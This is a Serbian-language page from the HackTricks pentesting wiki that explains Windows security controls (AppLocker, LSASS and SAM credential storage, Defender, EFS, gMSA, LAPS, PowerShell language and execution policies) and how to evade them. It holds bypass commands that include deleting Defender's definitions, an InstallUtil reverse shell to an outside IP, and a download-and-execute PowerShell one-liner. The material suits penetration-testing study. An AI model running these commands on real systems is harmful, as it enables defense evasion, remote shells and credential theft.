19 KiB
Windows Security Controls
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJE!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
AppLocker Politika
Lista odobrenih softverskih aplikacija ili izvršnih datoteka koje su dozvoljene da budu prisutne i pokrenute na sistemu naziva se bela lista aplikacija. Cilj je zaštita okruženja od štetnog malvera i neodobrenog softvera koji se ne poklapa sa specifičnim poslovnim potrebama organizacije.
AppLocker je Microsoft-ovo rešenje za belu listu aplikacija i daje sistem administratorima kontrolu nad kojim aplikacijama i datotekama korisnici mogu da pokrenu. Pruža detaljnu kontrolu nad izvršnim datotekama, skriptama, Windows instalacionim datotekama, DLL-ovima, upakovanim aplikacijama i upakovanim instalaterima aplikacija.
Često je za organizacije blokirati cmd.exe i PowerShell.exe i pristup pisanju određenim direktorijumima, ali sve to može biti zaobiđeno.
Provera
Proverite koje datoteke/ekstenzije su na crnoj/beloj listi:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Ovaj putanja registra sadrži konfiguracije i politike primenjene od strane AppLockera, pružajući način da pregledate trenutni skup pravila koja se primenjuju na sistemu:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Zaobilazak
- Korisne Folderi za pisanje za zaobilazak AppLocker politike: Ako AppLocker dozvoljava izvršavanje bilo čega unutar
C:\Windows\System32
iliC:\Windows
, postoje folderi za pisanje koje možete koristiti da zaobiđete ovo.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- Često povereni "LOLBAS's" binarni fajlovi mogu biti korisni za zaobilaženje AppLockera.
- Loše napisana pravila takođe mogu biti zaobiđena
- Na primer,
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, možete kreirati folder nazvanallowed
bilo gde i biće dozvoljen. - Organizacije često takođe fokusiraju na blokiranje izvršnog fajla
%System32%\WindowsPowerShell\v1.0\powershell.exe
, ali zaboravljaju na druge lokacije izvršnih fajlova PowerShell-a kao što su%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
iliPowerShell_ISE.exe
. - DLL sprovođenje veoma retko je omogućeno zbog dodatnog opterećenja koje može staviti na sistem i količine testiranja potrebne da se osigura da ništa neće biti oštećeno. Stoga korišćenje DLL-ova kao tajnih prolaza pomoći će u zaobilaženju AppLockera.
- Možete koristiti ReflectivePick ili SharpPick da izvršite Powershell kod u bilo kom procesu i zaobiđete AppLocker. Za više informacija pogledajte: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Skladištenje akreditiva
Menadžer sigurnosnih naloga (SAM)
Lokalni akreditivi prisutni su u ovom fajlu, lozinke su heširane.
Lokalna sigurnosna autoriteta (LSA) - LSASS
Akreditivi (heširani) su sačuvani u memoriji ovog podsistema iz razloga jednostavnog prijavljivanja.
LSA upravlja lokalnom sigurnosnom politikom (politika lozinke, dozvole korisnika...), autentifikacijom, pristupnim tokenima...
LSA će biti ta koja će proveriti pružene akreditive unutar fajla SAM (za lokalnu prijavu) i komunicirati sa kontrolorom domena da autentifikuje korisnika domena.
Akreditivi su sačuvani unutar procesa LSASS: Kerberos tiketi, heševi NT i LM, lako dešifrovane lozinke.
LSA tajne
LSA može sačuvati na disku neke akreditive:
- Lozinka računa računara Active Directory (nedostupan kontrolor domena).
- Lozinke naloga Windows servisa
- Lozinke za zakazane zadatke
- Više (lozinka IIS aplikacija...)
NTDS.dit
To je baza podataka Active Directory-ja. Prisutna je samo na kontrolorima domena.
Defender
Microsoft Defender je antivirus koji je dostupan u Windows 10 i Windows 11, kao i u verzijama Windows Servera. On blokira česte alate za pentesting kao što je WinPEAS
. Međutim, postoje načini da se zaobiđu ove zaštite.
Provera
Da biste proverili status Defendera možete izvršiti PS cmdlet Get-MpComputerStatus
(proverite vrednost RealTimeProtectionEnabled
da biste znali da li je aktivan):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Za enumeraciju takođe možete pokrenuti:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Enkriptovan sistem datoteka (EFS)
EFS obezbeđuje sigurnost datoteka putem enkripcije, koristeći simetrični ključ poznat kao Ključ enkripcije datoteke (FEK). Ovaj ključ je enkriptovan korisnikovim javni ključem i čuva se unutar alternativnog podatkovnog toka $EFS enkriptovane datoteke. Kada je potrebno dešifrovati, odgovarajući privatni ključ korisnikovog digitalnog sertifikata se koristi za dešifrovanje FEK-a iz $EFS toka. Više detalja možete pronaći ovde.
Scenariji dešifrovanja bez inicijacije korisnika uključuju:
- Kada se datoteke ili fascikle prebace na ne-EFS sistem datoteka, poput FAT32, automatski se dešifruju.
- Enkriptovane datoteke poslate preko mreže putem SMB/CIFS protokola se dešifruju pre slanja.
Ovaj metod enkripcije omogućava transparentan pristup enkriptovanim datotekama vlasniku. Međutim, jednostavna promena lozinke vlasnika i prijava neće dozvoliti dešifrovanje.
Ključne tačke:
- EFS koristi simetrični FEK, enkriptovan korisnikovim javnim ključem.
- Dešifrovanje koristi korisnikov privatni ključ za pristup FEK-u.
- Automatsko dešifrovanje se dešava pod određenim uslovima, poput kopiranja na FAT32 ili mrežnu transmisiju.
- Enkriptovane datoteke su dostupne vlasniku bez dodatnih koraka.
Provera informacija o EFS-u
Proverite da li je korisnik koristio ovu uslugu proverom da li postoji ovaj put:C:\users\<korisničkoime>\appdata\roaming\Microsoft\Protect
Proverite ko ima pristup datoteci korišćenjem cipher /c <datoteka>
Takođe možete koristiti cipher /e
i cipher /d
unutar fascikle da enkriptujete i dešifrujete sve datoteke
Dešifrovanje EFS datoteka
Bivanje autoritetni sistem
Ovaj način zahteva da žrtveni korisnik pokreće proces unutar hosta. U tom slučaju, korišćenjem meterpreter
sesija možete preuzeti token procesa korisnika (impersonate_token
iz incognito
). Ili jednostavno možete migrate
na proces korisnika.
Poznavanje korisnikove lozinke
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
Grupisani upravljani servisni nalozi (gMSA)
Microsoft je razvio Grupisane upravljane servisne naloge (gMSA) kako bi pojednostavio upravljanje servisnim nalozima u IT infrastrukturama. Za razliku od tradicionalnih servisnih naloga koji često imaju podešavanje "Lozinka nikada ne ističe" omogućeno, gMSA nude sigurnije i upravljivije rešenje:
- Automatsko upravljanje lozinkom: gMSA koriste kompleksnu lozinku od 240 karaktera koja se automatski menja prema domenskoj ili računarskoj politici. Ovaj proces rukovodi Microsoft-ova Key Distribution Service (KDC), eliminišući potrebu za ručnim ažuriranjem lozinke.
- Poboljšana sigurnost: Ovi nalozi su imuni na blokade i ne mogu se koristiti za interaktivne prijave, poboljšavajući njihovu sigurnost.
- Podrška za više hostova: gMSA mogu biti deljeni preko više hostova, čineći ih idealnim za servise koji se izvršavaju na više servera.
- Mogućnost zakazanih zadataka: Za razliku od upravljanih servisnih naloga, gMSA podržavaju pokretanje zakazanih zadataka.
- Pojednostavljeno upravljanje SPN-om: Sistem automatski ažurira Service Principal Name (SPN) kada dođe do promena u sAMaccount detaljima računara ili DNS imena, pojednostavljujući upravljanje SPN-om.
Lozinke za gMSA se čuvaju u LDAP svojstvu msDS-ManagedPassword i automatski se resetuju svakih 30 dana od strane kontrolora domena (DC). Ova lozinka, enkriptovana podatkovna kugla poznata kao MSDS-MANAGEDPASSWORD_BLOB, može biti dobijena samo od ovlašćenih administratora i servera na kojima su instalirani gMSA, obezbeđujući sigurno okruženje. Za pristup ovim informacijama, potrebna je obezbeđena veza poput LDAPS-a, ili veza mora biti autentifikovana sa 'Sealing & Secure'.
Možete pročitati ovu lozinku sa GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Pronađite više informacija u ovom postu
Takođe, proverite ovu web stranicu o tome kako izvesti NTLM relay napad da biste pročitali šifru gMSA.
LAPS
Local Administrator Password Solution (LAPS), dostupno za preuzimanje sa Microsoft, omogućava upravljanje lokalnim administratorskim šiframa. Ove šifre, koje su slučajno generisane, jedinstvene i redovno menjane, čuvaju se centralno u Active Directory-ju. Pristup ovim šiframa je ograničen putem ACL-ova za ovlašćene korisnike. Sa dovoljnim dozvolama, omogućeno je čitanje lokalnih administratorskih šifara.
{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
PS Režim ograničenog jezika
PowerShell Constrained Language Mode zaključava mnoge od funkcija potrebnih za efikasnu upotrebu PowerShell-a, kao što su blokiranje COM objekata, dozvoljavanje samo odobrenih .NET tipova, XAML baziranih radnih tokova, PowerShell klasa i više.
Provera
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Zaobilazak
#Easy bypass
Powershell -version 2
U trenutnom Windows-u taj Bypass neće raditi, ali možete koristiti PSByPassCLM.
Da biste ga kompajlirali, možda će vam biti potrebno dodati referencu -> Pretraži -> Pretraži -> dodajte C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
i promenite projekat na .Net4.5.
Direktni Bypass:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Obrnuti shell:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Možete koristiti ReflectivePick ili SharpPick da izvršite Powershell kod u bilo kom procesu i zaobiđete ograničeni režim. Za više informacija pogledajte: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
PS Izvršna politika
Podrazumevano je postavljena na restricted. Glavni načini zaobiđavanja ove politike:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Security Support Provider Interface (SSPI)
SSPI je API koji se može koristiti za autentifikaciju korisnika.
SSPI će biti zadužen za pronalaženje odgovarajućeg protokola za dve mašine koje žele da komuniciraju. Preferirana metoda za ovo je Kerberos. Zatim će SSPI pregovarati o tome koji će autentifikacioni protokol biti korišćen, ovi autentifikacioni protokoli se nazivaju Security Support Provider (SSP), nalaze se unutar svake Windows mašine u obliku DLL i obe mašine moraju podržavati isti da bi mogle da komuniciraju.
Glavni SSP-ovi
- Kerberos: Preferirani
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 i NTLMv2: Iz razloga kompatibilnosti
- %windir%\Windows\System32\msv1_0.dll
- Digest: Web serveri i LDAP, lozinka u obliku MD5 heša
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL i TLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: Koristi se za pregovaranje o protokolu koji će se koristiti (Kerberos ili NTLM, pri čemu je Kerberos podrazumevani)
- %windir%\Windows\System32\lsasrv.dll
Pregovaranje može ponuditi nekoliko metoda ili samo jednu.
UAC - Kontrola korisničkih naloga
Kontrola korisničkih naloga (UAC) je funkcija koja omogućava zahtev za odobrenje za povišene aktivnosti.
{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.